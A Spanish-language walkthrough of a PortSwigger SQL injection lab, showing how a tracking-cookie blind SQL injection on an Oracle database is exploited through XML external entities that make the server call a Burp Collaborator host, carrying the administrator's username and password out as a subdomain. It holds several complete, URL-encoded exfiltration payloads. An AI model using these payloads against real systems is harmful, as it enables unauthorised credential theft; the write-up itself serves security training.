SQLI Lab 17
Skills
- Blind SQL injection with out-of-band data exfiltration
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio contiene una Blind SQL Inyection
, la aplicación utiliza una cookie
de seguimiento para análisis y realiza una consulta SQL
que incluye el valor de la cookie enviada. La consulta SQL
se ejecuta de forma asíncrona y no afecta la respuesta de la aplicación. Sin embargo, puedes desencadenar
interacciones out-of-band
con un dominio externo
. La base
de datos
contiene una tabla
diferente llamada users
, con columnas llamadas username
y password
. Hay que explotar
la Blind SQL Inyection
para descubrir la contraseña
del usuario administrador
e iniciar sesión como el usuario administrador
Resolución
Al acceder
a la web
nos sale esto
Si capturamos
la petición
a la web con Burpsuite
vemos un campo llamado TrackingId
, probando los payload
de https://portswigger.net/web-security/sql-injection/cheat-sheet. En este caso vamos a usar este payload
1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual)-- -
Antes de enviar
la petición
debemos hacer click
en Collaborator > Copy to clipboard
. El subdominio copiado lo sustituimos
por el campo BURP-COLLABORATOR-SUBDOMAIN
1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://ek2f0ugba257uzxtntvmsb5twk2bq2er.oastify.com/"> %remote;]>'),'/l') FROM dual)-- - ; session=Wzj5q2TCt35NSwZENA7h1HRazosSb9fS
Una vez hecho esto debemos urlencodear
el payload
y enviar
la petición
1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//ek2f0ugba257uzxtntvmsb5twk2bq2er.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual)--+-+; session=Wzj5q2TCt35NSwZENA7h1HRazosSb9fS
Si nos dirigimos a la parte de Collaborator
y pulsamos en Poll now
nos llegarán las peticiones
a nuestro servidor
Una vez comprobada
la vulnerabilidad
vamos a usar este payload
para poder hacer consultas a la base
de datos
1
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
Adaptamos el payload
y lo enviamos
1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(select+username+from+users+where+username='administrator')||'.dyfeetuao1j68ybs1s9l6ajsajga44st.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual)--+-+; session=Wzj5q2TCt35NSwZENA7h1HRazosSb9fS
Si nos dirigimos a la parte de Collaborator
y pulsamos en Poll now
, vemos que como subdominio se está enviando el output
de la query
Enviamos
el siguiente payload
para obtener
la contraseña
del usuario administrador
1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(select+password+from+users+where+username='administrator')||'.dyfeetuao1j68ybs1s9l6ajsajga44st.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual)--+-+; session=Wzj5q2TCt35NSwZENA7h1HRazosSb9fS
Obtenemos
la contraseña
del usuario administrador
Nos logueamos
como usuario administrador